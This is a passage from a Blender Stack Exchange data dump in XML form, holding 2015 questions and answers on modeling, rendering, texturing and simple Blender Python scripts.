src=&quot;https://i.stack.imgur.com/FaYRZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-27T13:22:31.243" LastActivityDate="2015-05-27T13:22:31.243" CommentCount="2" CommunityOwnedDate="2015-05-27T13:17:28.753" ContentLicense="CC BY-SA 3.0" />
  <row Id="31538" PostTypeId="1" AcceptedAnswerId="31540" CreationDate="2015-05-27T13:56:36.117" Score="6" ViewCount="728" Body="&lt;p&gt;I'd like to know if there are any techniques or addons available for creating adjacent edge loops in a mesh based on a selected edge loop. The functionality would be similar to the &lt;a href=&quot;http://download.autodesk.com/global/docs/maya2014/en_us/index.html?url=files/Edit_Mesh__Offset_Edge_Loop_Tool.htm,topicNumber=d30e182198&quot; rel=&quot;nofollow&quot;&gt;Offset Edge Loop Tool&lt;/a&gt; in Maya. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal would be to find a way to do this programmatically from python, and not interactively by hand.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="3710" LastEditDate="2015-05-27T14:36:17.043" LastActivityDate="2015-05-27T14:36:17.043" Title="How do I create 2 Edge Loops adjacent to selected Edge Loop?" Tags="&lt;python&gt;&lt;modeling&gt;&lt;scripting&gt;&lt;mesh&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31539" PostTypeId="2" ParentId="23126" CreationDate="2015-05-27T13:58:07.867" Score="9" Body="&lt;p&gt;Yes, this is possible, You can use Python's &lt;a href=&quot;https://docs.python.org/3/library/atexit.html&quot; rel=&quot;noreferrer&quot;&gt;atexit&lt;/a&gt; module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be used exactly as you would writing regular Python code (no Blender specifics are required.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import atexit&#xA;&#xA;def my_cleanup_code():&#xA;    print(&quot;cleaning up!&quot;)&#xA;&#xA;atexit.register(my_cleanup_code)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-05-27T13:58:07.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31540" PostTypeId="2" ParentId="31538" CreationDate="2015-05-27T14:19:05.193" Score="8" Body="&lt;p&gt;'Beveling' should achieve what you want. Select the edges you want to add other edges around and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; to bevel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B7nvm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increase the 'bevel segments' by either scrolling the mouse wheel up while bevelling or change it in the toolbar (&lt;kbd&gt;T&lt;/kbd&gt;) after beveling to keep the original edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to how you would do this programmatically you might start with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.bevel(offset=0.5, segments=2, vertex_only=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Though it might be better to try and find an alternative to &lt;code&gt;bpy.ops..&lt;/code&gt;, see &lt;a href=&quot;https://blender.stackexchange.com/questions/2848/why-avoid-bpy-ops&quot;&gt;this&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-05-27T14:24:34.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31542" PostTypeId="1" AcceptedAnswerId="31543" CreationDate="2015-05-27T14:31:08.377" Score="15" ViewCount="2814" Body="&lt;p&gt;I know how to make a cube out of cubes or a pyramid out of pyramids, but how do I make a sphere out of spheres?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/D1yGN.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D1yGN.png&quot; alt=&quot;two example objects in solid mode&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8xYRF.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8xYRF.png&quot; alt=&quot;two example objects in wireframe&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="2217" LastEditDate="2015-05-27T22:17:06.590" LastActivityDate="2015-05-27T22:17:06.590" Title="How to a make a sphere out of spheres" Tags="&lt;mesh&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31543" PostTypeId="2" ParentId="31542" CreationDate="2015-05-27T14:46:58.400" Score="19" Body="&lt;ul&gt;&#xA;&lt;li&gt;Add a sphere and an empty at the center&lt;/li&gt;&#xA;&lt;li&gt;Add an &lt;em&gt;Array Modifier&lt;/em&gt; to the sphere, scale the empty and modify the arrays count.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AZrB3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add another sphere and parent it to the first added sphere &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;P&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enable duplication in the objetcs properties:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Niu14.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwQQo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-05-27T14:46:58.400" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31544" PostTypeId="2" ParentId="31351" CreationDate="2015-05-27T14:51:04.793" Score="2" Body="&lt;p&gt;This is the full script for selection and update, where emped the update function in our custom selection tool, the last function replaces the shortcuts of the old select with this operator so no damage is done and when unregistering the addon the shortcuts are reset to the previous state. run the script and open the Tools panel ( T in viewport ) and select an objectto see the string update &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import BoolProperty, IntVectorProperty&#xA;&#xA;class MyGroup(bpy.types.PropertyGroup):&#xA;    bpy.types.Scene.my_string = bpy.props.StringProperty(name='my_string')&#xA;&#xA;# Define operator to change string property.&#xA;last_selection = []&#xA;&#xA;# the selection operator with the update func :&#xA;class SelectionOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot; Costum selection&#xA;    &quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.select_costum&quot; &#xA;    bl_label = &quot;costum selection&quot;&#xA;&#xA;    extend = BoolProperty(default = False)&#xA;    deselect = BoolProperty(default = False)&#xA;    toggle = BoolProperty(default = False)&#xA;    center = BoolProperty(default = False)&#xA;    enumerate = BoolProperty(default = False)&#xA;    object = BoolProperty(default = False)&#xA;    location = IntVectorProperty(default = (0,0),subtype ='XYZ', size = 2)&#xA;&#xA;    def execute(self, context):&#xA;        #select the object&#xA;        bpy.ops.view3d.select(extend=self.extend, deselect=self.deselect, toggle=self.toggle, center=self.center, enumerate=self.enumerate, object=self.object, location=(self.location[0] , self.location[1] ))&#xA;        #change the property&#xA;        global last_selection&#xA;        if bpy.context.selected_objects != last_selection:&#xA;               last_selection = bpy.context.selected_objects&#xA;               bpy.context.scene.my_string = bpy.context.selected_objects[0].name&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        if context.space_data.type == 'VIEW_3D':&#xA;            self.location[0] = event.mouse_region_x&#xA;            self.location[1]  = event.mouse_region_y&#xA;            return self.execute(context)&#xA;        else:&#xA;                self.report({'WARNING'}, &quot;Active space must be a View3d&quot;)&#xA;                return {'CANCELLED'}&#xA;&#xA;def replace_shortkey( old_op_name, new_op_name) :&#xA;&#xA;        wm = bpy.context.window_manager&#xA;        keyconfig = wm.keyconfigs.active&#xA;        keymap = keyconfig.keymaps['3D View']&#xA;        items = keymap.keymap_items&#xA;&#xA;        item = items.get(old_op_name, None)&#xA;        while item :&#xA;&#xA;                props = item.properties&#xA;&#xA;                extend    = props.extend.real&#xA;                deselect  = props.deselect.real&#xA;                toggle    = props.toggle.real&#xA;                center    = props.center.real&#xA;                enumerate = props.enumerate.real&#xA;                object    = props.object.real&#xA;&#xA;                item.idname = new_op_name&#xA;&#xA;                props.extend    = extend &#xA;                props.deselect  = deselect&#xA;                props.toggle    = toggle&#xA;                props.center    = center&#xA;                props.enumerate = enumerate&#xA;                props.object    = object&#xA;&#xA;                item = items.get( old_op_name, None)&#xA;&#xA;&#xA;# Draw property and operator.&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;    &quot;&quot;&quot;&#xA;    bl_label = &quot;active object Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_my_panel&quot;&#xA;    bl_space_type = 'VIEW_3D'&#xA;    bl_region_type = 'TOOLS'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.row().prop(context.scene, &quot;my_string&quot;)&#xA;&#xA;# Register.&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    replace_shortkey( 'view3d.select', SelectionOperator.bl_idname )&#xA;&#xA;def unregister():&#xA;    replace_shortkey(SelectionOperator.bl_idname, 'view3d.select')&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;: &#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-27T16:03:26.193" LastActivityDate="2015-05-27T16:03:26.193" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31546" PostTypeId="2" ParentId="10925" CreationDate="2015-05-27T15:50:46.953" Score="4" Body="&lt;p&gt;I use the internal blender engine for cartoon style render all the time. if you don't want shadows on it in the material tab down in the shading section check the button beside shadeless and it takes away the shading and shadowing. also if you want a outline like a line drawing outline in the render tab check edge and adjust to the way you like it.&lt;/p&gt;&#xA;" OwnerUserId="14646" LastActivityDate="2015-05-27T15:50:46.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31547" PostTypeId="1" AcceptedAnswerId="31548" CreationDate="2015-05-27T16:54:02.577" Score="1" ViewCount="744" Body="&lt;p&gt;I'm trying to do a Solar System representation with Cycles, i already have the planets in order, the orbits, and i'm basing my file on a picture, and i'm trying to achieve the same illumination, but it seems pretty hard, so maybe or i'm using the wrong options, or even position of lighting.&#xA;The thing is, i do not want to put the Sun on the image because later i'll add it in another software, but what i want to achieve is the same kind of lighting effect.&#xA;Here's my reference (plus, my image will not have any kind of background image)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wQXZu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is what happens if i add a Point light inside the circles, i think the lighting is too weak for the objects and also if i add more Strenght to it, probably the planets would end up being totally white (or the color of the light)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BtTtp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, i tried putting an Emission object (a simple sphere, on this case) and again, the lighting seems too weak compared to the reference, and if i add more Strenght..this happens: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ssnoU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please if someone have a method to add this kind of lighting, or maybe even a trick, please tell me, i'm really in trouble right now with this one..&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-05-27T17:09:18.553" Title="How can i make a proper light inside a circle with objects so their surface is illuminated?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31548" PostTypeId="2" ParentId="31547" CreationDate="2015-05-27T17:03:05.490" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The light sources can be invisible to the camera. Set Cycles Ray Visibility to FALSE&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ysQAu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You mentioned trick.  Consider the point light external to the sphere.  Set Cycles Ray Visibility to FALSE.  Each planet has a sister light planet not visible to the camera.  They can both rotate relative to Sun. You may consider [Tracking] Constraint.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Sun. Set Cycles Ray Visibility to FALSE.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-27T17:09:18.553" LastActivityDate="2015-05-27T17:09:18.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31549" PostTypeId="1" CreationDate="2015-05-27T17:11:11.190" Score="6" ViewCount="3677" Body="&lt;p&gt;Where do I find the attributes available for the fire rendering at Cycles (flame, color, density...). Where is the list? or at least, how do I find which ones are available? They are not listed in the custom variables (says it's blender's programming api? are they hidden?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everybody talks about them but I'm not able to find them, even on the official guide at blender.org. In fact, the help pages are outdated and contain nothing about the fire and smoke and fire modes for smoke dynamics and the parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is, in fact, a general question:&#xA;Where do I find the attributes available?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference: &#xA;&lt;a href=&quot;http://www.blender.org/manual/physics/smoke/flow_object.html&quot;&gt;http://www.blender.org/manual/physics/smoke/flow_object.html&lt;/a&gt;&#xA;There you can see it is always referencing a particle system. But in the volumes you have the smoke and fire AND fire options. Why doesn't it talk about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using blender 2.74&lt;/p&gt;&#xA;" OwnerUserId="14131" LastEditorUserId="14131" LastEditDate="2015-05-27T17:14:35.790" LastActivityDate="2017-04-03T13:34:55.867" Title="Fire and Smoke Attributes" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31552" PostTypeId="2" ParentId="31464" CreationDate="2015-05-27T17:47:54.117" Score="1" Body="&lt;p&gt;One way to do this is by preventing other objects from appearing as a reflection on any glossy material by disabling the &lt;strong&gt;Glossy&lt;/strong&gt; option in :  &lt;strong&gt;Properties&lt;/strong&gt;➩&lt;strong&gt;Object&lt;/strong&gt;➩&lt;strong&gt;Ray_Visibility&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BF2AK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-27T17:47:54.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31553" PostTypeId="1" CreationDate="2015-05-27T17:50:24.740" Score="0" ViewCount="891" Body="&lt;p&gt;I'm having the same problem as this user was (&lt;a href=&quot;https://blender.stackexchange.com/questions/28277/object-doesnt-show-in-render&quot;&gt;Object doesn&amp;#39;t show in render&lt;/a&gt;), but I have Object Duplication set to none and I have cleared restricted render on my object. But it still does not appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the child to an armature and when I remove the parent/child relationship the object does render.&lt;/p&gt;&#xA;" OwnerUserId="11258" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2021-04-29T11:01:25.107" Title="Child object does not render - even after setting duplication to none" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31554" PostTypeId="1" AcceptedAnswerId="31556" CreationDate="2015-05-27T18:43:03.733" Score="1" ViewCount="1247" Body="&lt;p&gt;How come my bevel is going outwards and not inwards? I'm trying to create molding but can't get it to go in the right direction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5kICg.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UKsKT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6351" LastEditorUserId="2217" LastEditDate="2016-03-01T18:47:41.830" LastActivityDate="2016-03-01T18:47:41.830" Title="Curve Bevel going outwards not inwards" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31555" PostTypeId="2" ParentId="31470" CreationDate="2015-05-27T18:43:33.853" Score="1" Body="&lt;p&gt;To minimize the scaling process ( or any transformation ) hold &lt;kbd&gt;Shift&lt;/kbd&gt; after pressing &lt;kbd&gt;S&lt;/kbd&gt; or after holding the manipulator handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you are trying to make the object smaller make sure to place your mouse cursor as far as possible to have a space to move it inward ( and vice versa ), this may be problem with manipulator as it is relatively small and don't leave much room for movement inward for this you can try resizing the manipulator from &lt;strong&gt;User_Preferences&lt;/strong&gt;➩&lt;strong&gt;Interface&lt;/strong&gt;➩&lt;strong&gt;Manipulator&lt;/strong&gt;➩&lt;strong&gt;Size&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lWxiV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-27T18:43:33.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31556" PostTypeId="2" ParentId="31554" CreationDate="2015-05-27T18:53:50.873" Score="2" Body="&lt;p&gt;Two way to do this :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Rotate the bevel object in edit mode 180°&lt;/li&gt;&#xA;&lt;li&gt;Select the curve ( not the bevel object ) , enter Edit mode and select all points with &lt;kbd&gt;A&lt;/kbd&gt; (or twice) than adjust the tilt angle from the transform panel :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EClwJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-27T18:53:50.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31557" PostTypeId="2" ParentId="31553" CreationDate="2015-05-27T19:06:36.317" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;The location of the armature by design affects the child mesh.  For ease of experience .. have your mesh and armature at the &lt;strong&gt;grid center&lt;/strong&gt; at the time of parenting.  Delete [ALL] previous armature modifiers.  They can collect like dust during experimentation.  Inspect carefully your modifiers panel.&lt;/li&gt;&#xA;&lt;li&gt;Verify your object is visible in Camera View.  Press [Numpad 0] multiple times to alternate this view.  Objects can be viewed in (Non Camera View) .... yet be off camera in (Camera View) which can cause confusion the first few times.&lt;/li&gt;&#xA;&lt;li&gt;Move your object to the center of grid and point the camera to center. Align Active Camera to View.  Control Alt Numpad Zero.&lt;/li&gt;&#xA;&lt;li&gt;Place other simple objects near the failed object to make sure your camera has a good view of the entire scene, distance shot ... then refine later.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-27T19:14:57.693" LastActivityDate="2015-05-27T19:14:57.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31558" PostTypeId="1" AcceptedAnswerId="31563" CreationDate="2015-05-27T19:30:04.080" Score="4" ViewCount="915" Body="&lt;p&gt;I have a simple textured wall, and it looked really clean so I downloaded a grungy texture from CG. Unfortunately, when I tried making the alpha channel invisible, I couldn't figure it out, so I just turned the alpha under the textures panel to 0 and enabled mask transparency which I turned down to 3.14 (cause pi is cool). Its not exactly the effect I want, because some of the white from the mask still discolors the wall, but the biggest problem is once I deselect it, it turns the entire wall transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what it looks like while selected: almost right&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q4m1f.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q4m1fm.png&quot; alt=&quot;wall textured while selected&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but once I deselect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H9z8z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H9z8zm.png&quot; alt=&quot;wall textured while unselected&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the proper way to make the alpha channel disappear, while leaving the moldy-grunge intact and not making a gaping hole in my wall. This is a game prop.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="2217" LastEditDate="2015-05-28T02:28:13.840" LastActivityDate="2015-05-28T02:28:13.840" Title="Alpha transparency making wall transparent" Tags="&lt;texturing&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31559" PostTypeId="1" AcceptedAnswerId="31592" CreationDate="2015-05-27T19:39:50.447" Score="2" ViewCount="124" Body="&lt;p&gt;I have a complex scene rendered in cycles and now like to add some volumetric fog rendered in BI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have linked some objects from my cycles scene to a new BI scene and added a  cube with a volume material. Now the fog is in front and behind my linked objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I like to render the Volume Fog and combine it with my cycles scene. How can I block rendering the fog behind my objects from my cycles scene without rendering them self? &lt;/p&gt;&#xA;" OwnerUserId="2488" LastEditorUserId="241" LastEditDate="2015-05-28T00:13:02.547" LastActivityDate="2015-05-28T12:25:24.610" Title="Combine 2 Scenes / Volumetric Fog from BI to Cyles" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;compositor&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31562" PostTypeId="1" CreationDate="2015-05-27T20:29:44.817" Score="4" ViewCount="3142" Body="&lt;p&gt;I made a volumetric light based on a sphere, the borders are too notorious, it even looks like a texture. Is there any way to soften the borders like adding a blur, but in the single object, without messing with anything on the render layers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qa91c.png&quot; alt=&quot;blender showing the render and material nodes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="2217" LastEditDate="2015-06-12T19:59:23.923" LastActivityDate="2016-03-18T02:01:21.777" Title="How can I soften my Volumetric Light borders?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;light&gt;&lt;volumetrics&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31563" PostTypeId="2" ParentId="31558" CreationDate="2015-05-27T20:36:10.137" Score="4" Body="&lt;p&gt;Adding a grunge texture or decal is very easy (even easier then in cycles).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you have to do is add a grunge or decal texture with a alpha channel under the base color,in your case the second texture slot.&lt;br&gt;&#xA;Your material  and texture does not need any transparency. Both textures only influence the &lt;em&gt;Color&lt;/em&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BJrHI.png&quot; alt=&quot;texture slots&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-05-27T20:36:10.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31564" PostTypeId="1" AcceptedAnswerId="31593" CreationDate="2015-05-27T20:43:53.027" Score="17" ViewCount="18917" Body="&lt;p&gt;How can I make a plane always look at camera? Like in old videogames, like Doom or Wolfenstein, this kind of software used static images that always looked at the camera, is this possible to make on Blender Cycles?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorDisplayName="user1853" LastEditDate="2015-05-27T23:15:45.243" LastActivityDate="2015-11-29T19:10:47.660" Title="How can I make a plane always look at camera?" Tags="&lt;cycles-render-engine&gt;&lt;camera&gt;&lt;constraints&gt;&lt;drivers&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="4" ClosedDate="2015-05-30T11:58:39.943" ContentLicense="CC BY-SA 3.0" />
  <row Id="31565" PostTypeId="2" ParentId="31564" CreationDate="2015-05-27T21:05:05.107" Score="4" Body="&lt;p&gt;I found a solution to this, first select the Plane you want to track with the camera, and then the Object Constraints option, select 'Copy Rotation'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, select the Camera in the list next to the orange cube icon, and then just move the camera as usual, the camera will work as normally do but with a plane following automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EhfUS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Also, first be sure to put the plane in front of the camera as you want to show it.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-05-27T21:05:05.107" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31566" PostTypeId="2" ParentId="31356" CreationDate="2015-05-27T21:15:24.847" Score="10" Body="&lt;p&gt;We need to start with a object that tracks to the mouse. Before we can do that, we need something for the object to track along. for this we will use a highly modified cylinder that resembles an inverted cone.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/190WW.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;We need a shape like this so that the player can not ever move the mouse outside of the tracking zone.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lI0W5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now the higher your mouse is, the further away it the mouse will be.&lt;/p&gt;&#xA;&lt;p&gt;Once we have the basic setup, we can get the mechanics working.&lt;/p&gt;&#xA;&lt;p&gt;By basic setup, I mean, a player, a camera, a tracking object, a subdivided plane (to show movement), and a cylinder. (The cylinder is irrelevant now, it can be no-collision object and be invisible. It only needs to be parented to the player) I am going to name the player &lt;strong&gt;Space Ship Cube&lt;/strong&gt; and the tracking object &lt;strong&gt;Fly_To_Target&lt;/strong&gt; We also need the camera slow parented to the player. the giant tracking field also needs to be parented to the player&#xA;(still named &lt;strong&gt;Space Ship Cube&lt;/strong&gt;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rY7Bd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/crPWB.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Although I always try to avoid python if at all possible, sometimes it can not be avoided, and this is one of those times. we must add a script named &lt;strong&gt;Trackto.py&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;&#xA;def main():&#xA;    scene = logic.getCurrentScene()&#xA;    cont = logic.getCurrentController()&#xA;    &#xA;    mouse_over = cont.sensors[&amp;quot;MouseOver&amp;quot;]&#xA;    &#xA;    if mouse_over.positive and scene.objects[&amp;quot;Fly_To_Target&amp;quot;]['ActiveYesNo?'] :&#xA;        tracker = scene.objects[&amp;quot;Fly_To_Target&amp;quot;]&#xA;        tracker.worldPosition = mouse_over.hitPosition&#xA;        tracker.worldPosition.z += 1&#xA;        &#xA;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There is some thing that this script references that currently does not exist. We need a Boolean property on &lt;strong&gt;Fly_To_Target&lt;/strong&gt; named &lt;strong&gt;ActiveYesNo?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wYOO1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Of course none of this helps us if there is nothing to run the script. (don't worry, were going to make that now)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BQ4nZ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we if we press play it should look like this. (the plane has been hidden to show the tracking object and the field it runs along.)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5JKyZ.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we have a wonderful object tracking to the mouse. This is good, because now we can 